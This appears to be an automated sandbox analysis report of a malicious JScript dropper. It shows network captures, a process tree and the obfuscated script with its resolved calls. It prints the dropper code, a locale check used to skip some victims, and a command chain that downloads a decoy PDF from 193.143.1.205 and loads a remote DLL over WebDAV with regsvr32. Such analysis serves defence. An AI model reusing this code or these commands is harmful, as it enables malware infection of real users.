Jan 11, 2025 05:54:00.445897102 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:54:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:54:00.445962906 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:54:00.445997953 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:54:00.446050882 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 05:54:00.446094990 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 05:54:00.446105957 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 05:54:00.446157932 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 05:54:00.446194887 CET	1000	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 11, 2025 05:54:00.446229935 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 11, 2025 05:54:00.446266890 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%
Jan 11, 2025 05:54:00.451086044 CET	220	IN	Data Raw: fd 82 86 a7 e5 ea 37 9b de df 2b 8b ac e5 05 0d f7 f7 ea 77 5a 4d dd d6 37 96 d1 f3 3a 0b 25 54 9f f0 fb bc 55 33 95 69 0e 0f 95 9c ed 4b a8 59 fa 9d 1b 75 0f 8f f1 95 9b ad 3f 50 b5 70 a7 5d 74 38 74 da 7f 78 01 f8 dc ad 1c 4c b0 7b 16 3a 30 d4 Data Ascii: 7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	193.143.1.205	8888	2548	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:54:02.199116945 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:54:03.008995056 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:54:02 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:53:55
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24755260942519232167.js"
Imagebase:	0x7ff638e00000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:53:56
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll
Imagebase:	0x7ff6f8b70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:53:56
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:53:56
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:54:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:54:00
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f8b70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:54:00
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff636470000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:54:01
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:54:01
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:54:01
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1772,i,15525011413894841716,3082216128008660101,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function eofqbnyah() {	eofqbnyah() ➔ undefined
1	fvigfowjs = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var cpocr = this[odfwtgakb + zswwvb + mwzxxiv + fvhicmgmc + vhkbr + fctfhvhez + qkxqpm + lypzpasgh] ( this[stnjqdqtz + vowvbwcto + rnutekynh + mwzxxiv + dyecuonix + odfwtgakb + lypzpasgh][vqzkkjrjh + mwzxxiv + vhkbr + zswwvb + lypzpasgh + vhkbr + wcbxz + fnofyfb + qzwtgmwdh + vhkbr + rnutekynh + lypzpasgh] ( stnjqdqtz + vowvbwcto + rnutekynh + mwzxxiv + dyecuonix + odfwtgakb + lypzpasgh + juxoceh + vowvbwcto + xgqubmysa + vhkbr + gucgc + gucgc ) [jllhew + vhkbr + ypgkjzyi + jllhew + vhkbr + zswwvb + qhktlke] ( ulbmipdgr + ezecp + cosjffu + qlrdj + xonix + vqzkkjrjh + wvitoi + jllhew + jllhew + cosjffu + afgolg + gvedsuld + xonix + wvitoi + vowvbwcto + cosjffu + jllhew + sgdlo + vqzkkjrjh + ezatjtq + qkxqpm + lypzpasgh + mwzxxiv + ezatjtq + gucgc + payyhtt + mkrliju + zswwvb + qkxqpm + vhkbr + gucgc + sgdlo + fctfhvhez + qkxqpm + lypzpasgh + vhkbr + mwzxxiv + qkxqpm + zswwvb + lypzpasgh + dyecuonix + ezatjtq + qkxqpm + zswwvb + gucgc + sgdlo + gvflkxp + ezatjtq + rnutekynh + zswwvb + gucgc + vhkbr ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( fvddpmy = 0 ; fvddpmy < fvigfowjs[gucgc + vhkbr + qkxqpm + ypgkjzyi + lypzpasgh + xgqubmysa] ; ++ fvddpmy )
4	{
5	if ( cpocr == fvigfowjs[fvddpmy] )
6	{
7	cpocr = true;
8	break ;
9	}
10	}
11	if ( cpocr !== true )
12	this[stnjqdqtz + vowvbwcto + rnutekynh + mwzxxiv + dyecuonix + odfwtgakb + lypzpasgh][zexwpq + fcmbxed + dyecuonix + lypzpasgh] ( );
13	this[stnjqdqtz + vowvbwcto + rnutekynh + mwzxxiv + dyecuonix + odfwtgakb + lypzpasgh][vqzkkjrjh + mwzxxiv + vhkbr + zswwvb + lypzpasgh + vhkbr + wcbxz + fnofyfb + qzwtgmwdh + vhkbr + rnutekynh + lypzpasgh] ( stnjqdqtz + vowvbwcto + rnutekynh + mwzxxiv + dyecuonix + odfwtgakb + lypzpasgh + juxoceh + vowvbwcto + xgqubmysa + vhkbr + gucgc + gucgc ) [mwzxxiv + fcmbxed + qkxqpm] ( rnutekynh + xkvjtur + qhktlke + payyhtt + vrkopz + rnutekynh + payyhtt + odfwtgakb + ezatjtq + sqopn + vhkbr + mwzxxiv + fvhicmgmc + xgqubmysa + vhkbr + gucgc + gucgc + juxoceh + vhkbr + uipucawxa + vhkbr + payyhtt + kuhks + vqzkkjrjh + ezatjtq + xkvjtur + xkvjtur + zswwvb + qkxqpm + qhktlke + payyhtt + aliakf + fctfhvhez + qkxqpm + nxxlpui + ezatjtq + zrdpapig + vhkbr + kuhks + stnjqdqtz + vhkbr + fnofyfb + jllhew + vhkbr + pyaeeu + fcmbxed + vhkbr + fvhicmgmc + lypzpasgh + payyhtt + kuhks + wcbxz + fcmbxed + lypzpasgh + fjnld + dyecuonix + gucgc + vhkbr + payyhtt + fydowyqln + lypzpasgh + vhkbr + xkvjtur + odfwtgakb + fydowyqln + sgdlo + dyecuonix + qkxqpm + nxxlpui + ezatjtq + dyecuonix + rnutekynh + vhkbr + juxoceh + odfwtgakb + qhktlke + nfjlgw + payyhtt + xgqubmysa + lypzpasgh + lypzpasgh + odfwtgakb + pwdxy + vrkopz + vrkopz + aawiltsqz + exqywwo + ukywnukfs + juxoceh + aawiltsqz + ziyvv + ukywnukfs + juxoceh + aawiltsqz + juxoceh + mwookog + wintmdm + bedxdhwdk + vrkopz + dyecuonix + qkxqpm + nxxlpui + ezatjtq + dyecuonix + rnutekynh + vhkbr + juxoceh + odfwtgakb + xgqubmysa + odfwtgakb + aliakf + kdunolgkk + kdunolgkk + fvhicmgmc + lypzpasgh + zswwvb + mwzxxiv + lypzpasgh + payyhtt + fydowyqln + lypzpasgh + vhkbr + xkvjtur + odfwtgakb + fydowyqln + sgdlo + dyecuonix + qkxqpm + nxxlpui + ezatjtq + dyecuonix + rnutekynh + vhkbr + juxoceh + odfwtgakb + qhktlke + nfjlgw + kdunolgkk + kdunolgkk + rnutekynh + xkvjtur + qhktlke + payyhtt + vrkopz + rnutekynh + payyhtt + qkxqpm + vhkbr + lypzpasgh + payyhtt + fcmbxed + fvhicmgmc + vhkbr + payyhtt + sgdlo + sgdlo + aawiltsqz + exqywwo + ukywnukfs + juxoceh + aawiltsqz + ziyvv + ukywnukfs + juxoceh + aawiltsqz + juxoceh + mwookog + wintmdm + bedxdhwdk + mlfrme + zkduwhgjw + zkduwhgjw + zkduwhgjw + zkduwhgjw + sgdlo + qhktlke + zswwvb + nxxlpui + sqopn + sqopn + sqopn + mwzxxiv + ezatjtq + ezatjtq + lypzpasgh + sgdlo + kdunolgkk + kdunolgkk + rnutekynh + xkvjtur + qhktlke + payyhtt + vrkopz + rnutekynh + payyhtt + mwzxxiv + vhkbr + ypgkjzyi + fvhicmgmc + nxxlpui + mwzxxiv + ukywnukfs + mwookog + payyhtt + vrkopz + fvhicmgmc + payyhtt + sgdlo + sgdlo + aawiltsqz + exqywwo + ukywnukfs + juxoceh + aawiltsqz + ziyvv + ukywnukfs + juxoceh + aawiltsqz + juxoceh + mwookog + wintmdm + bedxdhwdk + mlfrme + zkduwhgjw + zkduwhgjw + zkduwhgjw + zkduwhgjw + sgdlo + qhktlke + zswwvb + nxxlpui + sqopn + sqopn + sqopn + mwzxxiv + ezatjtq + ezatjtq + lypzpasgh + sgdlo + aawiltsqz + mwookog + exqywwo + wintmdm + krxtx + mwookog + bedxdhwdk + krxtx + ziyvv + mwookog + mwookog + ukywnukfs + luoxpeqv + zkduwhgjw + juxoceh + qhktlke + gucgc + gucgc, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12907257422368.dll",0,false) ➔ 0
14	}
15	vowvbwcto = "V";
16	vowvbwcto = "x";
17	vowvbwcto = "a";
18	vowvbwcto = "G";
19	vowvbwcto = "j";
20	vowvbwcto = "e";
21	vowvbwcto = "g";
22	vowvbwcto = "p";
23	vowvbwcto = "e";
24	vowvbwcto = "H";
25	vowvbwcto = "S";
26	vowvbwcto = "z";
27	vowvbwcto = "N";
28	vowvbwcto = "M";
29	vowvbwcto = "j";
30	vowvbwcto = "H";
31	vowvbwcto = "a";
32	vowvbwcto = "x";
33	vowvbwcto = "a";
34	vowvbwcto = "R";
35	vowvbwcto = "p";
36	vowvbwcto = "L";
37	vowvbwcto = "T";
38	vowvbwcto = "B";
39	vowvbwcto = "S";
40	wvitoi = "d";
41	wvitoi = "J";
42	wvitoi = "V";
43	wvitoi = "C";
44	wvitoi = "j";
45	wvitoi = "z";
46	wvitoi = "I";
47	wvitoi = "X";
48	wvitoi = "O";
49	wvitoi = "d";
50	wvitoi = "M";
51	wvitoi = "o";
52	wvitoi = "A";
53	wvitoi = "j";
54	wvitoi = "C";
55	wvitoi = "e";
56	wvitoi = "c";
57	wvitoi = "P";
58	wvitoi = "N";
59	wvitoi = "o";
60	wvitoi = "J";
61	wvitoi = "l";
62	wvitoi = "J";
63	wvitoi = "g";
64	wvitoi = "M";
65	wvitoi = "Y";
66	wvitoi = "l";
67	wvitoi = "N";
68	wvitoi = "N";
69	wvitoi = "E";
70	wvitoi = "c";
71	wvitoi = "H";
72	wvitoi = "j";
73	wvitoi = "f";
74	wvitoi = "H";
75	wvitoi = "p";
76	wvitoi = "g";
77	wvitoi = "i";
78	wvitoi = "S";
79	wvitoi = "C";
80	wvitoi = "P";
81	wvitoi = "q";
82	wvitoi = "U";
83	ulbmipdgr = "Z";
84	ulbmipdgr = "t";
85	ulbmipdgr = "G";
86	ulbmipdgr = "O";
87	ulbmipdgr = "K";
88	ulbmipdgr = "H";
89	fcmbxed = "V";
90	fcmbxed = "t";
91	fcmbxed = "R";
92	fcmbxed = "s";
93	fcmbxed = "P";
94	fcmbxed = "N";
95	fcmbxed = "y";
96	fcmbxed = "D";
97	fcmbxed = "X";
98	fcmbxed = "Y";
99	fcmbxed = "Y";
100	fcmbxed = "i";
101	fcmbxed = "R";
102	fcmbxed = "O";
103	fcmbxed = "W";
104	fcmbxed = "R";
105	fcmbxed = "i";
106	fcmbxed = "K";
107	fcmbxed = "v";
108	fcmbxed = "X";
109	fcmbxed = "J";
110	fcmbxed = "I";
111	fcmbxed = "j";
112	fcmbxed = "K";
113	fcmbxed = "m";
114	fcmbxed = "e";
115	fcmbxed = "j";
116	fcmbxed = "u";
117	fcmbxed = "u";
118	exqywwo = "B";
119	exqywwo = "I";
120	exqywwo = "g";
121	exqywwo = "Z";
122	exqywwo = "9";
123	qzwtgmwdh = "h";
124	qzwtgmwdh = "m";
125	qzwtgmwdh = "S";
126	qzwtgmwdh = "e";
127	qzwtgmwdh = "h";
128	qzwtgmwdh = "r";
129	qzwtgmwdh = "F";
130	qzwtgmwdh = "U";
131	qzwtgmwdh = "f";
132	qzwtgmwdh = "V";
133	qzwtgmwdh = "j";
134	jllhew = "d";
135	jllhew = "G";
136	jllhew = "O";
137	jllhew = "k";
138	jllhew = "P";
139	jllhew = "r";
140	jllhew = "n";
141	jllhew = "B";
142	jllhew = "i";
143	jllhew = "l";
144	jllhew = "i";
145	jllhew = "G";
146	jllhew = "C";
147	jllhew = "e";
148	jllhew = "s";
149	jllhew = "t";
150	jllhew = "R";
151	vhkbr = "t";
152	vhkbr = "S";
153	vhkbr = "R";
154	vhkbr = "x";
155	vhkbr = "e";
156	krxtx = "C";
157	krxtx = "f";
158	krxtx = "P";
159	krxtx = "s";
160	krxtx = "o";
161	krxtx = "B";
162	krxtx = "f";
163	krxtx = "Y";
164	krxtx = "d";
165	krxtx = "t";
166	krxtx = "T";
167	krxtx = "g";
168	krxtx = "F";
169	krxtx = "V";
170	krxtx = "h";
171	krxtx = "J";
172	krxtx = "y";
173	krxtx = "R";
174	krxtx = "d";
175	krxtx = "y";
176	krxtx = "C";
177	krxtx = "l";
178	krxtx = "j";
179	krxtx = "u";
180	krxtx = "e";
181	krxtx = "Z";
182	krxtx = "7";
183	stnjqdqtz = "J";
184	stnjqdqtz = "D";
185	stnjqdqtz = "D";
186	stnjqdqtz = "h";
187	stnjqdqtz = "D";
188	stnjqdqtz = "g";
189	stnjqdqtz = "F";
190	stnjqdqtz = "G";
191	stnjqdqtz = "M";
192	stnjqdqtz = "n";
193	stnjqdqtz = "W";
194	stnjqdqtz = "H";
195	stnjqdqtz = "L";
196	stnjqdqtz = "I";
197	stnjqdqtz = "q";
198	stnjqdqtz = "p";
199	stnjqdqtz = "d";
200	stnjqdqtz = "k";
201	stnjqdqtz = "E";
202	stnjqdqtz = "b";
203	stnjqdqtz = "W";
204	cosjffu = "A";
205	cosjffu = "R";
206	cosjffu = "P";
207	cosjffu = "L";
208	cosjffu = "x";
209	cosjffu = "a";
210	cosjffu = "Q";
211	cosjffu = "q";
212	cosjffu = "w";
213	cosjffu = "S";
214	cosjffu = "I";
215	cosjffu = "R";
216	cosjffu = "E";
217	zexwpq = "d";
218	zexwpq = "n";
219	zexwpq = "X";
220	zexwpq = "k";
221	zexwpq = "Q";
222	qkxqpm = "G";
223	qkxqpm = "f";
224	qkxqpm = "h";
225	qkxqpm = "S";
226	qkxqpm = "k";
227	qkxqpm = "B";
228	qkxqpm = "b";
229	qkxqpm = "i";
230	qkxqpm = "p";
231	qkxqpm = "Z";
232	qkxqpm = "u";
233	qkxqpm = "r";
234	qkxqpm = "A";
235	qkxqpm = "o";
236	qkxqpm = "x";
237	qkxqpm = "a";
238	qkxqpm = "O";
239	qkxqpm = "v";
240	qkxqpm = "c";
241	qkxqpm = "W";
242	qkxqpm = "r";
243	qkxqpm = "Y";
244	qkxqpm = "d";
245	qkxqpm = "r";
246	qkxqpm = "q";
247	qkxqpm = "V";
248	qkxqpm = "m";
249	qkxqpm = "h";
250	qkxqpm = "p";
251	qkxqpm = "v";
252	qkxqpm = "J";
253	qkxqpm = "X";
254	qkxqpm = "Q";
255	qkxqpm = "i";
256	qkxqpm = "V";
257	qkxqpm = "S";
258	qkxqpm = "n";
259	odfwtgakb = "b";
260	odfwtgakb = "r";
261	odfwtgakb = "b";
262	odfwtgakb = "K";
263	odfwtgakb = "g";
264	odfwtgakb = "r";
265	odfwtgakb = "n";
266	odfwtgakb = "y";
267	odfwtgakb = "G";
268	odfwtgakb = "P";
269	odfwtgakb = "E";
270	odfwtgakb = "I";
271	odfwtgakb = "Q";
272	odfwtgakb = "y";
273	odfwtgakb = "k";
274	odfwtgakb = "A";
275	odfwtgakb = "b";
276	odfwtgakb = "Z";
277	odfwtgakb = "Z";
278	odfwtgakb = "f";
279	odfwtgakb = "V";
280	odfwtgakb = "j";
281	odfwtgakb = "q";
282	odfwtgakb = "o";
283	odfwtgakb = "k";
284	odfwtgakb = "e";
285	odfwtgakb = "P";
286	odfwtgakb = "H";
